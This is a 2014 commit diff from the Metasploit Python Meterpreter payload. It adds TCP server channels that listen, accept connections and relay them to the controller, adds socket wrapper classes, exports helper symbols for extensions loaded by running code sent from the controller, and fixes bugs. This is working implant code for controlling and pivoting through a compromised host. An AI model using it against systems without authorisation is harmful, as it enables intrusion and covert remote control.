Support tcp server channels and add a python MeterpreterSocket

bug/bundler_fix
Spencer McIntyre 2014-03-04 13:31:29 -05:00
parent 7111e8aa59
commit 0834102e2b
2 changed files with 148 additions and 78 deletions

View File

@ -485,21 +485,6 @@ def get_stat_buffer(path):
st_buf += struct.pack('<II', blksize, blocks) st_buf += struct.pack('<II', blksize, blocks)
return st_buf return st_buf
def inet_pton(family, address):
if hasattr(socket, 'inet_pton'):
return socket.inet_pton(family, address)
elif has_windll:
WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
lpAddress = (ctypes.c_ubyte * 28)()
lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
raise Exception('WSAStringToAddress failed')
if family == socket.AF_INET:
return ''.join(map(chr, lpAddress[4:8]))
elif family == socket.AF_INET6:
return ''.join(map(chr, lpAddress[8:24]))
raise Exception('no suitable inet_pton functionality is available')
def netlink_request(req_type): def netlink_request(req_type):
# See RFC 3549 # See RFC 3549
NLM_F_REQUEST = 0x0001 NLM_F_REQUEST = 0x0001
@ -548,7 +533,7 @@ def windll_GetVersion():
return type('Version', (object,), dict(dwMajorVersion = dwMajorVersion, dwMinorVersion = dwMinorVersion, dwBuild = dwBuild)) return type('Version', (object,), dict(dwMajorVersion = dwMajorVersion, dwMinorVersion = dwMinorVersion, dwBuild = dwBuild))
@meterpreter.register_function @meterpreter.register_function
def channel_create_stdapi_fs_file(request, response): def channel_open_stdapi_fs_file(request, response):
fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE) fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE)
if fmode: if fmode:
@ -562,7 +547,7 @@ def channel_create_stdapi_fs_file(request, response):
return ERROR_SUCCESS, response return ERROR_SUCCESS, response
@meterpreter.register_function @meterpreter.register_function
def channel_create_stdapi_net_tcp_client(request, response): def channel_open_stdapi_net_tcp_client(request, response):
host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value'] host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value']
port = packet_get_tlv(request, TLV_TYPE_PEER_PORT)['value'] port = packet_get_tlv(request, TLV_TYPE_PEER_PORT)['value']
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST) local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST)
@ -582,7 +567,19 @@ def channel_create_stdapi_net_tcp_client(request, response):
pass pass
if not connected: if not connected:
return ERROR_CONNECTION_ERROR, response return ERROR_CONNECTION_ERROR, response
channel_id = meterpreter.add_channel(sock) channel_id = meterpreter.add_channel(MeterpreterSocketClient(sock))
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
return ERROR_SUCCESS, response
@meterpreter.register_function
def channel_open_stdapi_net_tcp_server(request, response):
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value', '0.0.0.0')
local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)['value']
server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_sock.bind((local_host, local_port))
server_sock.listen(socket.SOMAXCONN)
channel_id = meterpreter.add_channel(MeterpreterSocketServer(server_sock))
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
return ERROR_SUCCESS, response return ERROR_SUCCESS, response
@ -1166,9 +1163,10 @@ def stdapi_net_resolve_hosts(request, response):
@meterpreter.register_function @meterpreter.register_function
def stdapi_net_socket_tcp_shutdown(request, response): def stdapi_net_socket_tcp_shutdown(request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID) channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
how = packet_get_tlv(request, TLV_TYPE_SHUTDOWN_HOW).get('value', socket.SHUT_RDWR)
channel = meterpreter.channels[channel_id] channel = meterpreter.channels[channel_id]
channel.close() channel.shutdown(how)
return ERROR_SUCCESS, response return ERROR_SUCCESS, response
@meterpreter.register_function_windll @meterpreter.register_function_windll

View File

@ -73,6 +73,7 @@ TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52 TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53 TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70 TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71 TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
@ -89,10 +90,38 @@ TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500 TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501 TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501
TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
EXPORTED_SYMBOLS = {}
def export(symbol):
EXPORTED_SYMBOLS[symbol.__name__] = symbol
return symbol
def generate_request_id(): def generate_request_id():
chars = 'abcdefghijklmnopqrstuvwxyz' chars = 'abcdefghijklmnopqrstuvwxyz'
return ''.join(random.choice(chars) for x in xrange(32)) return ''.join(random.choice(chars) for x in xrange(32))
@export
def inet_pton(family, address):
if hasattr(socket, 'inet_pton'):
return socket.inet_pton(family, address)
elif has_windll:
WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
lpAddress = (ctypes.c_ubyte * 28)()
lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
raise Exception('WSAStringToAddress failed')
if family == socket.AF_INET:
return ''.join(map(chr, lpAddress[4:8]))
elif family == socket.AF_INET6:
return ''.join(map(chr, lpAddress[8:24]))
raise Exception('no suitable inet_pton functionality is available')
@export
def packet_get_tlv(pkt, tlv_type): def packet_get_tlv(pkt, tlv_type):
offset = 0 offset = 0
while (offset < len(pkt)): while (offset < len(pkt)):
@ -111,6 +140,7 @@ def packet_get_tlv(pkt, tlv_type):
offset += tlv[0] offset += tlv[0]
return {} return {}
@export
def packet_enum_tlvs(pkt, tlv_type = None): def packet_enum_tlvs(pkt, tlv_type = None):
offset = 0 offset = 0
while (offset < len(pkt)): while (offset < len(pkt)):
@ -129,6 +159,7 @@ def packet_enum_tlvs(pkt, tlv_type = None):
offset += tlv[0] offset += tlv[0]
raise StopIteration() raise StopIteration()
@export
def tlv_pack(*args): def tlv_pack(*args):
if len(args) == 2: if len(args) == 2:
tlv = {'type':args[0], 'value':args[1]} tlv = {'type':args[0], 'value':args[1]}
@ -149,6 +180,25 @@ def tlv_pack(*args):
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
return data return data
#@export
class MeterpreterSocket(object):
def __init__(self, sock):
self.sock = sock
def __getattr__(self, name):
return getattr(self.sock, name)
export(MeterpreterSocket)
#@export
class MeterpreterSocketClient(MeterpreterSocket):
pass
export(MeterpreterSocketClient)
#@export
class MeterpreterSocketServer(MeterpreterSocket):
pass
export(MeterpreterSocketServer)
class STDProcessBuffer(threading.Thread): class STDProcessBuffer(threading.Thread):
def __init__(self, std, is_alive): def __init__(self, std, is_alive):
threading.Thread.__init__(self) threading.Thread.__init__(self)
@ -178,6 +228,7 @@ class STDProcessBuffer(threading.Thread):
self.data_lock.release() self.data_lock.release()
return data return data
#@export
class STDProcess(subprocess.Popen): class STDProcess(subprocess.Popen):
def __init__(self, *args, **kwargs): def __init__(self, *args, **kwargs):
subprocess.Popen.__init__(self, *args, **kwargs) subprocess.Popen.__init__(self, *args, **kwargs)
@ -187,6 +238,7 @@ class STDProcess(subprocess.Popen):
self.stdout_reader.start() self.stdout_reader.start()
self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None) self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
self.stderr_reader.start() self.stderr_reader.start()
export(STDProcess)
class PythonMeterpreter(object): class PythonMeterpreter(object):
def __init__(self, socket): def __init__(self, socket):
@ -201,10 +253,12 @@ class PythonMeterpreter(object):
def register_function(self, func): def register_function(self, func):
self.extension_functions[func.__name__] = func self.extension_functions[func.__name__] = func
return func
def register_function_windll(self, func): def register_function_windll(self, func):
if has_windll: if has_windll:
self.register_function(func) self.register_function(func)
return func
def add_channel(self, channel): def add_channel(self, channel):
idx = 0 idx = 0
@ -235,7 +289,8 @@ class PythonMeterpreter(object):
self.socket.send(response) self.socket.send(response)
else: else:
channels_for_removal = [] channels_for_removal = []
channel_ids = self.channels.keys() # iterate over the keys because self.channels could be modified if one is closed # iterate over the keys because self.channels could be modified if one is closed
channel_ids = self.channels.keys()
for channel_id in channel_ids: for channel_id in channel_ids:
channel = self.channels[channel_id] channel = self.channels[channel_id]
data = '' data = ''
@ -248,7 +303,7 @@ class PythonMeterpreter(object):
data = channel.stderr_reader.read() data = channel.stderr_reader.read()
elif channel.poll() != None: elif channel.poll() != None:
self.handle_dead_resource_channel(channel_id) self.handle_dead_resource_channel(channel_id)
elif isinstance(channel, socket._socketobject): elif isinstance(channel, MeterpreterSocketClient):
while len(select.select([channel.fileno()], [], [], 0)[0]): while len(select.select([channel.fileno()], [], [], 0)[0]):
try: try:
d = channel.recv(1) d = channel.recv(1)
@ -258,6 +313,21 @@ class PythonMeterpreter(object):
self.handle_dead_resource_channel(channel_id) self.handle_dead_resource_channel(channel_id)
break break
data += d data += d
elif isinstance(channel, MeterpreterSocketServer):
if len(select.select([channel.fileno()], [], [], 0)[0]):
(client_sock, client_addr) = channel.accept()
server_addr = channel.getsockname()
client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock))
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
pkt += tlv_pack(TLV_TYPE_METHOD, 'tcp_channel_open')
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, client_channel_id)
pkt += tlv_pack(TLV_TYPE_CHANNEL_PARENTID, channel_id)
pkt += tlv_pack(TLV_TYPE_LOCAL_HOST, inet_pton(channel.family, server_addr[0]))
pkt += tlv_pack(TLV_TYPE_LOCAL_PORT, server_addr[1])
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.socket.send(pkt)
if data: if data:
pkt = struct.pack('>I', PACKET_TYPE_REQUEST) pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write') pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
@ -284,7 +354,9 @@ class PythonMeterpreter(object):
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
return ERROR_FAILURE return ERROR_FAILURE
preloadlib_methods = self.extension_functions.keys() preloadlib_methods = self.extension_functions.keys()
i = code.InteractiveInterpreter({'meterpreter':self, 'packet_enum_tlvs':packet_enum_tlvs, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess}) symbols_for_extensions = {'meterpreter':self}
symbols_for_extensions.update(EXPORTED_SYMBOLS)
i = code.InteractiveInterpreter(symbols_for_extensions)
i.runcode(compile(data_tlv['value'], '', 'exec')) i.runcode(compile(data_tlv['value'], '', 'exec'))
postloadlib_methods = self.extension_functions.keys() postloadlib_methods = self.extension_functions.keys()
new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods) new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods)
@ -299,7 +371,7 @@ class PythonMeterpreter(object):
def _core_channel_open(self, request, response): def _core_channel_open(self, request, response):
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE) channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
handler = 'channel_create_' + channel_type['value'] handler = 'channel_open_' + channel_type['value']
if handler not in self.extension_functions: if handler not in self.extension_functions:
return ERROR_FAILURE, response return ERROR_FAILURE, response
handler = self.extension_functions[handler] handler = self.extension_functions[handler]
@ -314,7 +386,7 @@ class PythonMeterpreter(object):
channel.close() channel.close()
elif isinstance(channel, subprocess.Popen): elif isinstance(channel, subprocess.Popen):
channel.kill() channel.kill()
elif isinstance(s, socket._socketobject): elif isinstance(channel, MeterpreterSocket):
channel.close() channel.close()
else: else:
return ERROR_FAILURE, response return ERROR_FAILURE, response
@ -363,7 +435,7 @@ class PythonMeterpreter(object):
self.handle_dead_resource_channel(channel_id) self.handle_dead_resource_channel(channel_id)
if channel.stdout_reader.is_read_ready(): if channel.stdout_reader.is_read_ready():
data = channel.stdout_reader.read(length) data = channel.stdout_reader.read(length)
elif isinstance(s, socket._socketobject): elif isinstance(channel, MeterpreterSocket):
data = channel.recv(length) data = channel.recv(length)
else: else:
return ERROR_FAILURE, response return ERROR_FAILURE, response
@ -385,7 +457,7 @@ class PythonMeterpreter(object):
self.handle_dead_resource_channel(channel_id) self.handle_dead_resource_channel(channel_id)
return ERROR_FAILURE, response return ERROR_FAILURE, response
channel.stdin.write(channel_data) channel.stdin.write(channel_data)
elif isinstance(s, socket._socketobject): elif isinstance(channel, MeterpreterSocket):
try: try:
l = channel.send(channel_data) l = channel.send(channel_data)
except socket.error: except socket.error: